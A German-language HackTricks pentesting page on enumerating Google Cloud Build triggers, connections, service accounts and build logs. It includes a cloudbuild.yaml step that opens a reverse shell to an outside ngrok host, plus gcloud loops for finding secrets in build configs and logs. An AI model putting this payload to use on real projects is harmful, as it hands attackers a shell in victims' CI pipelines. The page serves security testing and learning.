GCP - Cloud Build Enum

Support HackTricks

Grundinformationen

Google Cloud Build ist eine verwaltete CI/CD-Plattform, die Software-Bau und Freigabeprozesse automatisiert, sich in Quellcode-Repositories integriert und eine breite Palette von Programmiersprachen unterstützt. Es ermöglicht Entwicklern, Code automatisch zu erstellen, zu testen und bereitzustellen, während es Flexibilität bietet, um Build-Schritte und Workflows anzupassen.

Jeder Cloud Build Trigger ist mit einem Cloud Repository verbunden oder direkt mit einem externen Repository (Github, Bitbucket und Gitlab) verbunden.

Ich konnte hier oder von Cloud-Repositories aus keine Möglichkeit sehen, das Github/Bitbucket-Token zu stehlen, da das Repo heruntergeladen wird und über eine https://source.cloud.google.com/ URL zugegriffen wird und Github nicht vom Client aus aufgerufen wird.

Ereignisse

Der Cloud Build kann ausgelöst werden, wenn:

  • In einen Branch gepusht wird: Geben Sie den Branch an

  • Ein neuer Tag gepusht wird: Geben Sie den Tag an

  • Pull-Request: Geben Sie den Branch an, der den PR erhält

  • Manuelle Ausführung

  • Pub/Sub-Nachricht: Geben Sie das Thema an

  • Webhook-Ereignis: Es wird eine HTTPS-URL bereitgestellt, und die Anfrage muss mit einem Geheimnis authentifiziert werden

Ausführung

Es gibt 3 Optionen:

  • Eine yaml/json die die auszuführenden Befehle angibt. Üblicherweise: /cloudbuild.yaml

  • Nur eine, die „inline“ in der Web-Konsole und in der CLI angegeben werden kann

  • Häufigste Option

  • Relevant für nicht authentifizierten Zugriff

  • Eine Dockerfile zum Erstellen

  • Ein Buildpack zum Erstellen

SA-Berechtigungen

Das Service-Konto hat den cloud-platform-Bereich, sodass es alle Berechtigungen nutzen kann. Wenn kein SA angegeben ist (wie beim Einreichen), wird das Standard-SA <proj-number>@cloudbuild.gserviceaccount.com verwendet.

Standardmäßig werden keine Berechtigungen erteilt, aber es ist ziemlich einfach, einige zu gewähren:

Genehmigungen

Es ist möglich, einen Cloud Build so zu konfigurieren, dass Genehmigungen für Build-Ausführungen erforderlich sind (standardmäßig deaktiviert).

PR-Genehmigungen

Wenn der Trigger PR ist, weil jeder PRs zu öffentlichen Repositories durchführen kann, wäre es sehr gefährlich, einfach die Ausführung des Triggers mit jedem PR zuzulassen. Daher wird die Ausführung standardmäßig nur automatisch für Eigentümer und Mitwirkende sein, und um den Trigger mit PRs anderer Benutzer auszuführen, muss ein Eigentümer oder Mitwirkender /gcbrun kommentieren.

Verbindungen & Repositories

Verbindungen können über:

  • GitHub: Es wird ein OAuth-Prompt angezeigt, der um Berechtigungen bittet, um ein Github-Token zu erhalten, das im Secret Manager gespeichert wird.

  • GitHub Enterprise: Es wird gefragt, ob eine GithubApp installiert werden soll. Ein Authentifizierungstoken von Ihrem GitHub Enterprise-Host wird erstellt und in diesem Projekt als Secret Manager-Geheimnis gespeichert.

  • GitLab / Enterprise: Sie müssen das API-Zugriffstoken und das Lese-API-Zugriffstoken bereitstellen, das im Secret Manager gespeichert wird.

Sobald eine Verbindung hergestellt ist, können Sie sie verwenden, um Repositories zu verknüpfen, auf die das Github-Konto Zugriff hat.

Diese Option ist über die Schaltfläche verfügbar:

Beachten Sie, dass Repositories, die mit dieser Methode verbunden sind, nur in Triggern der 2. Generation verfügbar sind.

Ein Repository verbinden

Dies ist nicht dasselbe wie eine Verbindung. Dies ermöglicht verschiedene Möglichkeiten, um Zugriff auf ein Github- oder Bitbucket-Repository zu erhalten, generiert jedoch kein Verbindungsobjekt, sondern ein Repositoryobjekt (1. Generation).

Diese Option ist über die Schaltfläche verfügbar:

Speicherung

Manchmal wird Cloud Build einen neuen Speicher generieren, um die Dateien für den Trigger zu speichern. Dies geschieht beispielsweise in dem Beispiel, das GCP mit:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Ein Storage-Bucket namens security-devbox_cloudbuild wird erstellt, um ein .tgz mit den zu verwendenden Dateien zu speichern.

Shell erhalten

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Installieren Sie gcloud innerhalb von Cloud Build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

Sie könnten sensible Informationen in Build-Konfigurationen und Protokollen finden.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Privilegieneskalation

GCP - Cloudbuild Privesc

Unauthentifizierter Zugriff

GCP - Cloud Build Unauthenticated Enum

Post-Exploitation

GCP - Cloud Build Post Exploitation
Unterstütze HackTricks

Last updated